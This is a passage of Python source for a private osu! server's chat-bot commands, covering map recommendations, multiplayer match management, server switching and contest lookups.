recommendedPP - ppVariance\n\t\t\tppAbove = recommendedPP + ppVariance\n\n\t\t\trecommendedMaps = glob.db.fetch(\"SELECT beatmap_id, song_name, ar, od, bpm, difficulty_{}, max_combo, pp_100, pp_99, pp_98, pp_95 FROM beatmaps WHERE ranked = 2 AND ((pp_95 > {} AND pp_95 < {}) OR (pp_98 > {} AND pp_98 < {}) OR (pp_99 > {} AND pp_99 < {}) OR (pp_100 > {} AND pp_100 < {})) AND mode = {} ORDER BY RAND() LIMIT 1\".format(modeName, ppBelow, ppAbove, ppBelow, ppAbove, ppBelow, ppAbove, ppBelow, ppAbove, modeID))\n\t\t\treturn \"{} | [https://osu.ppy.sh/b/{} {}]: OD{} | AR{} | {}BPM | {}* | Max Combo: {} | Current recommendations: {} - {}pp | 95%: {}pp | 98%: {}pp | 99%: {}pp | 100%: {}pp. Good luck owo!\".format(modeName, recommendedMaps[\"beatmap_id\"], recommendedMaps[\"song_name\"], recommendedMaps[\"od\"], recommendedMaps[\"ar\"], recommendedMaps[\"bpm\"], recommendedMaps[\"difficulty_{}\".format(modeName)], recommendedMaps[\"max_combo\"], ppBelow, ppAbove, recommendedMaps[\"pp_95\"], recommendedMaps[\"pp_98\"], recommendedMaps[\"pp_99\"], recommendedMaps[\"pp_100\"])\n\n\n\t\telse: # Do not specify gamemode. Do not recommend PP as they are picking a star rating\n\t\t\t\n\t\t\tif int(diffmode) > 10:\n\t\t\t\treturn \"Maps over 10* will not be calculated.\"\n\t\t\t\n\t\t\tfindMode = glob.db.fetch(\"SELECT favourite_mode FROM users_stats where id = {}\".format(userID))\n\t\t\tif findMode[\"favourite_mode\"] == 0:\n\t\t\t\tmodeName = \"std\"\n\t\t\t\tmodeID = 0\n\t\t\telif findMode[\"favourite_mode\"] == 1:\n\t\t\t\tmodeName = \"taiko\"\n\t\t\t\tmodeID = 1\n\t\t\telif findMode[\"favourite_mode\"] == 2:\n\t\t\t\tmodeName = \"ctb\"\n\t\t\t\tmodeID = 2\n\t\t\telif findMode[\"favourite_mode\"] == 3:\n\t\t\t\tmodeName = \"mania\"\n\t\t\t\tmodeID = 3\n\n\t\t\tdiffmodeplus = int(diffmode) + 1\n\t\t\trecommendedMaps = glob.db.fetch(\"SELECT beatmap_id, song_name, ar, od, bpm, difficulty_{}, max_combo, pp_100, pp_99, pp_98, pp_95 FROM beatmaps WHERE ranked = 2 AND difficulty_{} > {} AND difficulty_{} < {} AND mode = {} ORDER BY RAND() LIMIT 1\".format(modeName, modeName, diffmode, modeName, diffmodeplus, modeID))\n\t\t\treturn \"{} | [https://osu.ppy.sh/b/{} {}]: OD{} | AR{} | {}BPM | {}* | Max Combo: {} | 95%: {}pp | 98%: {}pp | 99%: {}pp | 100%: {}pp. Good luck owo!\".format(modeName, recommendedMaps[\"beatmap_id\"], recommendedMaps[\"song_name\"], recommendedMaps[\"od\"], recommendedMaps[\"ar\"], recommendedMaps[\"bpm\"], recommendedMaps[\"difficulty_{}\".format(modeName)], recommendedMaps[\"max_combo\"], recommendedMaps[\"pp_95\"], recommendedMaps[\"pp_98\"], recommendedMaps[\"pp_99\"], recommendedMaps[\"pp_100\"])\t\t\n\texcept:\n\t\t\treturn \"it's broken good job.\"\n\t\t\t\ndef rxrecommendMap(fro, chan, message):\n\tmessages = [m.lower() for m in message]\n\ttry:\n\t\tdiffmode = message[0]\n\t\tif chan.startswith(\"#\"):\n\t\t\treturn False\n\t\t# Probably the hardest thing I've ever attempted to code (made by cmyui winky face emoji :cowboy:)\n\t\t# Currently only works on nomod because idk how to code\n\t\tuserID = userUtils.getIDSafe(fro)\n\n\t\t# Specify gamemode. recommend PP to the User\n\t\tif not diffmode.isdigit():\n\t\t\tif diffmode == \"std\":\n\t\t\t\tmodeName = \"std\"\n\t\t\t\tmodeID = 0\n\t\t\telif diffmode == \"taiko\":\n\t\t\t\tmodeName = \"taiko\"\n\t\t\t\tmodeID = 1\n\t\t\telif diffmode == \"ctb\":\n\t\t\t\tmodeName = \"ctb\"\n\t\t\t\tmodeID = 2\n\t\t\telif diffmode == \"mania\":\n\t\t\t\tmodeName = \"mania\"\n\t\t\t\tmodeID = 3\n\t\t\telse:\n\t\t\t\treturn \"Please enter a valid gamemode.\"\n\n\t\t\t# Calculate what sort of PP amounts we should be recommending based on the average of their top 10 plays\n\t\t\tuserPPData = glob.db.fetch(\"SELECT AVG(pp) FROM (SELECT pp FROM scores_relax WHERE userid = {} AND play_mode = {} ORDER BY pp DESC LIMIT 10) AS topplays\".format(userID, modeID))\n\n\t\t\t'''\n\t\t\tif not pp in userPPData:\n\t\t\t\treturn \"You do not have enough scores in this gamemode to have any recommendations.\"\n\t\t\t'''\n\n\t\t\t#Determine what amount of PP we should recommend them\n\t\t\trawrecommendedPP = userPPData.values()\n\t\t\trecommendedPP = 0\n\t\t\tfor val in rawrecommendedPP:\n\t\t\t\trecommendedPP += val\n\n\t\t\t# Determine the amount of variance\n\t\t\tppVariance = recommendedPP / 15\n\t\t\tppBelow = recommendedPP - ppVariance\n\t\t\tppAbove = recommendedPP + ppVariance\n\n\t\t\trecommendedMaps = glob.db.fetch(\"SELECT beatmap_id, song_name, ar, od, bpm, difficulty_{}, max_combo, pp_100, pp_99, pp_98, pp_95 FROM beatmaps WHERE ranked = 2 AND ((pp_95 > {} AND pp_95 < {}) OR (pp_98 > {} AND pp_98 < {}) OR (pp_99 > {} AND pp_99 < {}) OR (pp_100 > {} AND pp_100 < {})) AND mode = {} ORDER BY RAND() LIMIT 1\".format(modeName, ppBelow, ppAbove, ppBelow, ppAbove, ppBelow, ppAbove, ppBelow, ppAbove, modeID))\n\t\t\treturn \"{} | [https://osu.ppy.sh/b/{} {}]: OD{} | AR{} | {}BPM | {}* | Max Combo: {} | Current recommendations: {} - {}pp | 95%: {}pp | 98%: {}pp | 99%: {}pp | 100%: {}pp. Good luck owo!\".format(modeName, recommendedMaps[\"beatmap_id\"], recommendedMaps[\"song_name\"], recommendedMaps[\"od\"], recommendedMaps[\"ar\"], recommendedMaps[\"bpm\"], recommendedMaps[\"difficulty_{}\".format(modeName)], recommendedMaps[\"max_combo\"], ppBelow, ppAbove, recommendedMaps[\"pp_95\"], recommendedMaps[\"pp_98\"], recommendedMaps[\"pp_99\"], recommendedMaps[\"pp_100\"])\n\n\n\t\telse: # Do not specify gamemode. Do not recommend PP as they are picking a star rating\n\t\t\t\n\t\t\tif int(diffmode) > 10:\n\t\t\t\treturn \"Maps over 10* will not be calculated.\"\n\t\t\t\n\t\t\tfindMode = glob.db.fetch(\"SELECT favourite_mode FROM users_stats where id = {}\".format(userID))\n\t\t\tif findMode[\"favourite_mode\"] == 0:\n\t\t\t\tmodeName = \"std\"\n\t\t\t\tmodeID = 0\n\t\t\telif findMode[\"favourite_mode\"] == 1:\n\t\t\t\tmodeName = \"taiko\"\n\t\t\t\tmodeID = 1\n\t\t\telif findMode[\"favourite_mode\"] == 2:\n\t\t\t\tmodeName = \"ctb\"\n\t\t\t\tmodeID = 2\n\t\t\telif findMode[\"favourite_mode\"] == 3:\n\t\t\t\tmodeName = \"mania\"\n\t\t\t\tmodeID = 3\n\n\t\t\tdiffmodeplus = int(diffmode) + 1\n\t\t\trecommendedMaps = glob.db.fetch(\"SELECT beatmap_id, song_name, ar, od, bpm, difficulty_{}, max_combo, pp_100, pp_99, pp_98, pp_95 FROM beatmaps WHERE ranked = 2 AND difficulty_{} > {} AND difficulty_{} < {} AND mode = {} ORDER BY RAND() LIMIT 1\".format(modeName, modeName, diffmode, modeName, diffmodeplus, modeID))\n\t\t\treturn \"{} | [https://osu.ppy.sh/b/{} {}]: OD{} | AR{} | {}BPM | {}* | Max Combo: {} | 95%: {}pp | 98%: {}pp | 99%: {}pp | 100%: {}pp. Good luck owo!\".format(modeName, recommendedMaps[\"beatmap_id\"], recommendedMaps[\"song_name\"], recommendedMaps[\"od\"], recommendedMaps[\"ar\"], recommendedMaps[\"bpm\"], recommendedMaps[\"difficulty_{}\".format(modeName)], recommendedMaps[\"max_combo\"], recommendedMaps[\"pp_95\"], recommendedMaps[\"pp_98\"], recommendedMaps[\"pp_99\"], recommendedMaps[\"pp_100\"])\t\t\n\texcept:\n\t\t\treturn \"it's broken good job.\"\t\t\n\t\t\t\n\n# Multiplayer Commands\ndef getMatchIDFromChannel(chan):\n\tif not chan.lower().startswith(\"#multi_\"):\n\t\traise exceptions.wrongChannelException()\n\tparts = chan.lower().split(\"_\")\n\tif len(parts) < 2 or not parts[1].isdigit():\n\t\traise exceptions.wrongChannelException()\n\tmatchID = int(parts[1])\n\tif matchID not in glob.matches.matches:\n\t\traise exceptions.matchNotFoundException()\n\treturn matchID\n\ndef getSpectatorHostUserIDFromChannel(chan):\n\tif not chan.lower().startswith(\"#spect_\"):\n\t\traise exceptions.wrongChannelException()\n\tparts = chan.lower().split(\"_\")\n\tif len(parts) < 2 or not parts[1].isdigit():\n\t\traise exceptions.wrongChannelException()\n\tuserID = int(parts[1])\n\treturn userID\n\ndef multiplayer(fro, chan, message):\n\tdef mpMake():\n\t\tif len(message) < 2:\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp make \")\n\t\tmatchName = \" \".join(message[1:]).strip()\n\t\tif not matchName:\n\t\t\traise exceptions.invalidArgumentsException(\"Match name must not be empty!\")\n\t\tmatchID = glob.matches.createMatch(matchName, generalUtils.stringMd5(generalUtils.randomString(32)), 0, \"Tournament\", \"\", 0, -1, isTourney=True)\n\t\tglob.matches.matches[matchID].sendUpdates()\n\t\treturn \"Tourney match #{} created!\".format(matchID)\n\n\tdef mpJoin():\n\t\tif len(message) < 2 or not message[1].isdigit():\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp join \")\n\t\tmatchID = int(message[1])\n\t\tuserToken = glob.tokens.getTokenFromUsername(fro, ignoreIRC=True)\n\t\tif userToken is None:\n\t\t\traise exceptions.invalidArgumentsException(\n\t\t\t\t\"No game clients found for {}, can't join the match. \"\n\t\t\t \"If you're a referee and you want to join the chat \"\n\t\t\t\t\"channel from IRC, use /join #multi_{} instead.\".format(fro, matchID)\n\t\t\t)\n\t\tuserToken.joinMatch(matchID)\n\t\treturn \"Attempting to join match #{}!\".format(matchID)\n\n\tdef mpClose():\n\t\tmatchID = getMatchIDFromChannel(chan)\n\t\tglob.matches.disposeMatch(matchID)\n\t\treturn \"Multiplayer match #{} disposed successfully\".format(matchID)\n\n\tdef mpLock():\n\t\tmatchID = getMatchIDFromChannel(chan)\n\t\tglob.matches.matches[matchID].isLocked = True\n\t\treturn \"This match has been locked\"\n\n\tdef mpUnlock():\n\t\tmatchID = getMatchIDFromChannel(chan)\n\t\tglob.matches.matches[matchID].isLocked = False\n\t\treturn \"This match has been unlocked\"\n\n\tdef mpSize():\n\t\tif len(message) < 2 or not message[1].isdigit() or int(message[1]) < 2 or int(message[1]) > 16:\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp size \")\n\t\tmatchSize = int(message[1])\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\t_match.forceSize(matchSize)\n\t\treturn \"Match size changed to {}\".format(matchSize)\n\n\tdef mpMove():\n\t\tif len(message) < 3 or not message[2].isdigit() or int(message[2]) < 0 or int(message[2]) > 16:\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp move \")\n\t\tusername = message[1]\n\t\tnewSlotID = int(message[2])\n\t\tuserID = userUtils.getIDSafe(username)\n\t\tif userID is None:\n\t\t\traise exceptions.userNotFoundException(\"No such user\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\tsuccess = _match.userChangeSlot(userID, newSlotID)\n\t\tif success:\n\t\t\tresult = \"Player {} moved to slot {}\".format(username, newSlotID)\n\t\telse:\n\t\t\tresult = \"You can't use that slot: it's either already occupied by someone else or locked\"\n\t\treturn result\n\n\tdef mpHost():\n\t\tif len(message) < 2:\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp host \")\n\t\tusername = message[1]\n\t\tuserID = userUtils.getIDSafe(username)\n\t\tif userID is None:\n\t\t\traise exceptions.userNotFoundException(\"No such user\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\tsuccess = _match.setHost(userID)\n\t\treturn \"{} is now the host\".format(username) if success else \"Couldn't give host to {}\".format(username)\n\n\tdef mpClearHost():\n\t\tmatchID = getMatchIDFromChannel(chan)\n\t\tglob.matches.matches[matchID].removeHost()\n\t\treturn \"Host has been removed from this match\"\n\n\tdef mpStart():\n\t\tdef _start():\n\t\t\tmatchID = getMatchIDFromChannel(chan)\n\t\t\tsuccess = glob.matches.matches[matchID].start()\n\t\t\tif not success:\n\t\t\t\tchat.sendMessage(glob.BOT_NAME, chan, \"Couldn't start match. Make sure there are enough players and \"\n\t\t\t\t\t\t\t\t\t\t\t\t \"teams are valid. The match has been unlocked.\")\n\t\t\telse:\n\t\t\t\tchat.sendMessage(glob.BOT_NAME, chan, \"Have fun!\")\n\n\n\t\tdef _decreaseTimer(t):\n\t\t\tif t <= 0:\n\t\t\t\t_start()\n\t\t\telse:\n\t\t\t\tif t % 10 == 0 or t <= 5:\n\t\t\t\t\tchat.sendMessage(glob.BOT_NAME, chan, \"Match starts in {} seconds. Get ready!\".format(t))\n\t\t\t\tthreading.Timer(1.00, _decreaseTimer, [t - 1]).start()\n\n\t\tif len(message) < 2 or not message[1].isdigit():\n\t\t\tstartTime = 0\n\t\telse:\n\t\t\tstartTime = int(message[1])\n\n\t\tforce = False if len(message) < 3 else message[2].lower() == \"force\"\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\n\t\t# Force everyone to ready\n\t\tsomeoneNotReady = False\n\t\tfor i, slot in enumerate(_match.slots):\n\t\t\tif slot.status != slotStatuses.READY and slot.user is not None:\n\t\t\t\tsomeoneNotReady = True\n\t\t\t\tif force:\n\t\t\t\t\t_match.toggleSlotReady(i)\n\n\t\tif someoneNotReady and not force:\n\t\t\treturn \"Some users aren't ready yet. Use '!mp start force' if you want to start the match, \" \\\n\t\t\t\t \"even with non-ready players.\"\n\n\t\tif startTime == 0:\n\t\t\t_start()\n\t\t\treturn \"Match is starting, don't die.\"\n\t\telse:\n\t\t\t_match.isStarting = True\n\t\t\tthreading.Timer(1.00, _decreaseTimer, [startTime - 1]).start()\n\t\t\treturn \"Match starts in {} seconds. The match has been locked. \" \\\n\t\t\t\t \"Please don't leave the match during the countdown \" \\\n\t\t\t\t \"or you might receive a penalty.\".format(startTime)\n\n\tdef mpInvite():\n\t\tif len(message) < 2:\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp invite \")\n\t\tusername = message[1].strip()\n\t\tif not username:\n\t\t\traise exceptions.invalidArgumentsException(\"Please provide a username\")\n\t\tuserID = userUtils.getIDSafe(username)\n\t\tif userID is None:\n\t\t\traise exceptions.userNotFoundException(\"No such user\")\n\t\ttoken = glob.tokens.getTokenFromUserID(userID, ignoreIRC=True)\n\t\tif token is None:\n\t\t\traise exceptions.invalidUserException(\"That user is not connected to Vipsu right now.\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\t_match.invite(999, userID)\n\t\ttoken.enqueue(serverPackets.notification(\"Please accept the invite you've just received from {} to \"\n\t\t\t\t\t\t\t\t\t\t\t\t \"enter your tourney match.\".format(glob.BOT_NAME)))\n\t\treturn \"An invite to this match has been sent to {}\".format(username)\n\n\tdef mpMap():\n\t\tif len(message) < 2 or not message[1].isdigit() or (len(message) == 3 and not message[2].isdigit()):\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp map []\")\n\t\tbeatmapID = int(message[1])\n\t\tgameMode = int(message[2]) if len(message) == 3 else 0\n\t\tif gameMode < 0 or gameMode > 3:\n\t\t\traise exceptions.invalidArgumentsException(\"Gamemode must be 0, 1, 2 or 3\")\n\t\tbeatmapData = glob.db.fetch(\"SELECT * FROM beatmaps WHERE beatmap_id = %s LIMIT 1\", [beatmapID])\n\t\tif beatmapData is None:\n\t\t\traise exceptions.invalidArgumentsException(\"The beatmap you've selected couldn't be found in the database.\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t \"If the beatmap id is valid, please load the scoreboard first in \"\n\t\t\t\t\t\t\t\t\t\t\t\t\t \"order to cache it, then try again.\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\t_match.beatmapID = beatmapID\n\t\t_match.beatmapName = beatmapData[\"song_name\"]\n\t\t_match.beatmapMD5 = beatmapData[\"beatmap_md5\"]\n\t\t_match.gameMode = gameMode\n\t\t_match.resetReady()\n\t\t_match.sendUpdates()\n\t\treturn \"Match map has been updated\"\n\n\tdef mpSet():\n\t\tif len(message) < 2 or not message[1].isdigit() or \\\n\t\t\t\t(len(message) >= 3 and not message[2].isdigit()) or \\\n\t\t\t\t(len(message) >= 4 and not message[3].isdigit()):\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp set [] []\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\tmatchTeamType = int(message[1])\n\t\tmatchScoringType = int(message[2]) if len(message) >= 3 else _match.matchScoringType\n\t\tif not 0 <= matchTeamType <= 3:\n\t\t\traise exceptions.invalidArgumentsException(\"Match team type must be between 0 and 3\")\n\t\tif not 0 <= matchScoringType <= 3:\n\t\t\traise exceptions.invalidArgumentsException(\"Match scoring type must be between 0 and 3\")\n\t\toldMatchTeamType = _match.matchTeamType\n\t\t_match.matchTeamType = matchTeamType\n\t\t_match.matchScoringType = matchScoringType\n\t\tif len(message) >= 4:\n\t\t\t_match.forceSize(int(message[3]))\n\t\tif _match.matchTeamType != oldMatchTeamType:\n\t\t\t_match.initializeTeams()\n\t\tif _match.matchTeamType == matchTeamTypes.TAG_COOP or _match.matchTeamType == matchTeamTypes.TAG_TEAM_VS:\n\t\t\t_match.matchModMode = matchModModes.NORMAL\n\n\t\t_match.sendUpdates()\n\t\treturn \"Match settings have been updated!\"\n\n\tdef mpAbort():\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\t_match.abort()\n\t\treturn \"Match aborted. Pussy.\"\n\n\tdef mpKick():\n\t\tif len(message) < 2:\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp kick \")\n\t\tusername = message[1].strip()\n\t\tif not username:\n\t\t\traise exceptions.invalidArgumentsException(\"Please provide a username\")\n\t\tuserID = userUtils.getIDSafe(username)\n\t\tif userID is None:\n\t\t\traise exceptions.userNotFoundException(\"No such user\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\tslotID = _match.getUserSlotID(userID)\n\t\tif slotID is None:\n\t\t\traise exceptions.userNotFoundException(\"The specified user is not in this match\")\n\t\tfor i in range(0, 2):\n\t\t\t_match.toggleSlotLocked(slotID)\n\t\treturn \"{} has been kicked from the match.\".format(username)\n\n\tdef mpPassword():\n\t\tpassword = \"\" if len(message) < 2 or not message[1].strip() else message[1]\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\t_match.changePassword(password)\n\t\treturn \"Match password has been changed!\"\n\n\tdef mpRandomPassword():\n\t\tpassword = generalUtils.stringMd5(generalUtils.randomString(32))\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\t_match.changePassword(password)\n\t\treturn \"Match password has been changed to a random one.\"\n\n\tdef mpMods():\n\t\tif len(message) < 2:\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp [] ...\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\tnewMods = 0\n\t\tfreeMod = False\n\t\tfor _mod in message[1:]:\n\t\t\tif _mod.lower().strip() == \"hd\":\n\t\t\t\tnewMods |= mods.HIDDEN\n\t\t\telif _mod.lower().strip() == \"hr\":\n\t\t\t\tnewMods |= mods.HARDROCK\n\t\t\telif _mod.lower().strip() == \"dt\":\n\t\t\t\tnewMods |= mods.DOUBLETIME\n\t\t\telif _mod.lower().strip() == \"fl\":\n\t\t\t\tnewMods |= mods.FLASHLIGHT\n\t\t\telif _mod.lower().strip() == \"fi\":\n\t\t\t\tnewMods |= mods.FADEIN\n\t\t\telif _mod.lower().strip() == \"ez\":\n\t\t\t\tnewMods |= mods.EASY\n\t\t\tif _mod.lower().strip() == \"none\":\n\t\t\t\tnewMods = 0\n\n\t\t\tif _mod.lower().strip() == \"freemod\":\n\t\t\t\tfreeMod = True\n\n\t\t_match.matchModMode = matchModModes.FREE_MOD if freeMod else matchModModes.NORMAL\n\t\t_match.resetReady()\n\t\tif _match.matchModMode == matchModModes.FREE_MOD:\n\t\t\t_match.resetMods()\n\t\t_match.changeMods(newMods)\n\t\treturn \"Match mods have been updated!\"\n\n\tdef mpTeam():\n\t\tif len(message) < 3:\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp team \")\n\t\tusername = message[1].strip()\n\t\tif not username:\n\t\t\traise exceptions.invalidArgumentsException(\"Please provide a username.\")\n\t\tcolour = message[2].lower().strip()\n\t\tif colour not in [\"red\", \"blue\"]:\n\t\t\traise exceptions.invalidArgumentsException(\"Team colour must be red or blue\")\n\t\tuserID = userUtils.getIDSafe(username)\n\t\tif userID is None:\n\t\t\traise exceptions.userNotFoundException(\"No such user\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\t_match.changeTeam(userID, matchTeams.BLUE if colour == \"blue\" else matchTeams.RED)\n\t\treturn \"{} is now in {} team\".format(username, colour)\n\n\tdef mpSettings():\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\tsingle = False if len(message) < 2 else message[1].strip().lower() == \"single\"\n\t\tmsg = \"PLAYERS IN THIS MATCH \"\n\t\tif not single:\n\t\t\tmsg += \"(use !mp settings single for a single-line version):\"\n\t\t\tmsg += \"\\n\"\n\t\telse:\n\t\t\tmsg += \": \"\n\t\tempty = True\n\t\tfor slot in _match.slots:\n\t\t\tif slot.user is None:\n\t\t\t\tcontinue\n\t\t\treadableStatuses = {\n\t\t\t\tslotStatuses.READY: \"ready\",\n\t\t\t\tslotStatuses.NOT_READY: \"not ready\",\n\t\t\t\tslotStatuses.NO_MAP: \"no map\",\n\t\t\t\tslotStatuses.PLAYING: \"playing\",\n\t\t\t}\n\t\t\tif slot.status not in readableStatuses:\n\t\t\t\treadableStatus = \"???\"\n\t\t\telse:\n\t\t\t\treadableStatus = readableStatuses[slot.status]\n\t\t\tempty = False\n\t\t\tmsg += \"* [{team}] <{status}> ~ {username}{mods}{nl}\".format(\n\t\t\t\tteam=\"red\" if slot.team == matchTeams.RED else \"blue\" if slot.team == matchTeams.BLUE else \"!! no team !!\",\n\t\t\t\tstatus=readableStatus,\n\t\t\t\tusername=glob.tokens.tokens[slot.user].username,\n\t\t\t\tmods=\" (+ {})\".format(generalUtils.readableMods(slot.mods)) if slot.mods > 0 else \"\",\n\t\t\t\tnl=\" | \" if single else \"\\n\"\n\t\t\t)\n\t\tif empty:\n\t\t\tmsg += \"Nobody.\\n\"\n\t\tmsg = msg.rstrip(\" | \" if single else \"\\n\")\n\t\treturn msg\n\n\tdef mpScoreV():\n\t\tif len(message) < 2 or message[1] not in (\"1\", \"2\"):\n\t\t\traise exceptions.invalidArgumentsException(\"Wrong syntax: !mp scorev <1|2>\")\n\t\t_match = glob.matches.matches[getMatchIDFromChannel(chan)]\n\t\t_match.matchScoringType = matchScoringTypes.SCORE_V2 if message[1] == \"2\" else matchScoringTypes.SCORE\n\t\t_match.sendUpdates()\n\t\treturn \"Match scoring type set to scorev{}\".format(message[1])\n\n\tdef mpHelp():\n\t\treturn \"Supported subcommands: !mp <{}>\".format(\"|\".join(k for k in subcommands.keys()))\n\n\ttry:\n\t\tsubcommands = {\n\t\t\t\"make\": mpMake,\n\t\t\t\"close\": mpClose,\n\t\t\t\"join\": mpJoin,\n\t\t\t\"lock\": mpLock,\n\t\t\t\"unlock\": mpUnlock,\n\t\t\t\"size\": mpSize,\n\t\t\t\"move\": mpMove,\n\t\t\t\"host\": mpHost,\n\t\t\t\"clearhost\": mpClearHost,\n\t\t\t\"start\": mpStart,\n\t\t\t\"invite\": mpInvite,\n\t\t\t\"map\": mpMap,\n\t\t\t\"set\": mpSet,\n\t\t\t\"abort\": mpAbort,\n\t\t\t\"kick\": mpKick,\n\t\t\t\"password\": mpPassword,\n\t\t\t\"randompassword\": mpRandomPassword,\n\t\t\t\"mods\": mpMods,\n\t\t\t\"team\": mpTeam,\n\t\t\t\"settings\": mpSettings,\n \"scorev\": mpScoreV,\n\t\t\t\"help\": mpHelp\n\t\t}\n\t\trequestedSubcommand = message[0].lower().strip()\n\t\tif requestedSubcommand not in subcommands:\n\t\t\traise exceptions.invalidArgumentsException(\"Invalid subcommand.\")\n\t\treturn subcommands[requestedSubcommand]()\n\texcept (exceptions.invalidArgumentsException, exceptions.userNotFoundException, exceptions.invalidUserException) as e:\n\t\treturn str(e)\n\texcept exceptions.wrongChannelException:\n\t\treturn \"This command only works in multiplayer chat channels.\"\n\texcept exceptions.matchNotFoundException:\n\t\treturn \"Match not found.\"\n\texcept:\n\t\traise\n\n# Switch a Player to a different Bancho server.\ndef switchServer(fro, chan, message):\n\t# Get target user ID\n\ttarget = message[0]\n\tnewServer = message[1].strip()\n\tif not newServer:\n\t\treturn \"Invalid server IP.\"\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\n\t# Make sure the user exists\n\tif not targetUserID:\n\t\treturn \"{}: user not found.\".format(target)\n\n\t# Connect the user to the end server\n\tuserToken = glob.tokens.getTokenFromUserID(userID, ignoreIRC=True, _all=False)\n\tuserToken.enqueue(serverPackets.switchServer(newServer))\n\n\t# Disconnect the user from the origin server\n\t# userToken.kick()\n\treturn \"{} has been connected to {}.\".format(target, newServer)\n\ndef delta(fro, chan, message):\n\tif chan.startswith(\"#\"):\n\t\treturn\n\tif not glob.conf.config[\"server\"][\"deltaurl\"].strip():\n\t\treturn \"Delta is disabled.\"\n\tuserToken = glob.tokens.getTokenFromUserID(userUtils.getID(fro), ignoreIRC=True, _all=False)\n\tif userToken is None:\n\t\treturn \"You must be connected from a game client to switch to delta\"\n\tif not generalUtils.stringToBool(glob.conf.config[\"server\"][\"publicdelta\"]) and not userToken.admin:\n\t\treturn \"You can't use delta yet. Try again later.\"\n\tuserToken.enqueue(serverPackets.switchServer(glob.conf.config[\"server\"][\"deltaurl\"]))\n\treturn \"Connecting to delta...\"\n\n# Send a Message across a player's screen and fail them if they are playing a map.\ndef rtx(fro, chan, message):\n\ttarget = message[0]\n\tmessage = \" \".join(message[1:]).strip()\n\tif not message:\n\t\treturn \"Invalid message.\"\n\ttargetUserID = userUtils.getIDSafe(target)\n\tif not targetUserID:\n\t\treturn \"{}: user not found.\".format(target)\n\tuserToken = glob.tokens.getTokenFromUserID(targetUserID, ignoreIRC=True, _all=False)\n\tuserToken.enqueue(serverPackets.rtx(message))\n\treturn \"RIP {}. Welp, I guess we're gonna do it.\".format(target)\n\ndef competitionMap(fro, chan, message):\n\tcurrent_time = int(time.time())\n\tresult = glob.db.fetch(\"SELECT competitions.*, beatmaps.song_name FROM competitions LEFT JOIN beatmaps ON competitions.map = beatmaps.beatmap_id WHERE end_time > {}\".format(current_time))\n\n\tif result is None:\n\t\treturn \"There are currently no active contests.. Check back at a later date!\"\n\n\treturn \"[Contest] [https://osu.ppy.sh/b/{beatmap_id} {song_name}] {leader} | Reward: {reward} | End date: {end_time} UTC.\".format(beatmap_id=result['map'], song_name=result['song_name'], leader=' | Current leader: {}'.format(userUtils.getUsername(result['leader'])) if result['leader'] != 0 else '', reward=result['reward'], end_time=datetime.utcfromtimestamp(result['end_time']).strftime('%Y-%m-%d %H:%M:%S'))\n\t\ndef announceContest(fro, chan, message):\n\tglob.streams.broadcast(\"main\", serverPackets.notification('A new contest has begun on Vipsu!\\nTo view details, please use the !contest command.\\n\\nBest of luck!'))\n\treturn False\n\t\n# Returns a bloodcat link for the /np in #spectator\ndef bloodcat(fro, chan, message):\n\ttry:\n\t\tmatchID = getMatchIDFromChannel(chan)\n\texcept exceptions.wrongChannelException:\n\t\tmatchID = None\n\ttry:\n\t\tspectatorHostUserID = getSpectatorHostUserIDFromChannel(chan)\n\texcept exceptions.wrongChannelException:\n\t\tspectatorHostUserID = None\n\n\tif matchID is not None:\n\t\tif matchID not in glob.matches.matches:\n\t\t\treturn \"This match doesn't seem to exist... Wait... Maybe it does, idk.\"\n\t\tbeatmapID = glob.matches.matches[matchID].beatmapID\n\telse:\n\t\tspectatorHostToken = glob.tokens.getTokenFromUserID(spectatorHostUserID, ignoreIRC=True)\n\t\tif spectatorHostToken is None:\n\t\t\treturn \"The spectator host is offline.\"\n\t\tbeatmapID = spectatorHostToken.beatmapID\n\treturn bloodcatMessage(beatmapID)\n\t\ndef trackUserOnline(fro, chan, message):\n\tmessages = [m.lower() for m in message]\n\ttarget = message[0]\n\n\tuserID = userUtils.getID(target)\n\n\tif userID == 0:\n\t\treturn \"No user exists by that username.\"\n\n\tuserUtils.setUserTracked(userID, 1)\n\treturn \"User tracked successfully.\"\n\ndef untrackUserOnline(fro, chan, message):\n\tmessages = [m.lower() for m in message]\n\ttarget = message[0]\n\n\tuserID = userUtils.getID(target)\n\n\tif userID == 0:\n\t\treturn \"No user exists by that username.\"\n\n\tuserUtils.setUserTracked(userID, 0)\n\treturn \"User tracked successfully.\"\t\n\t\ndef getMapNominator(fro, chan, message):\n\tbeatmapID = message[0]\n\n\tresult = userUtils.getMapNominator(beatmapID)\n\n\tif result is None:\n\t\treturn \"A map could not be found by that beatmap ID.\"\n\n\tif result['ranked'] == 2:\n\t\trankedStatus = 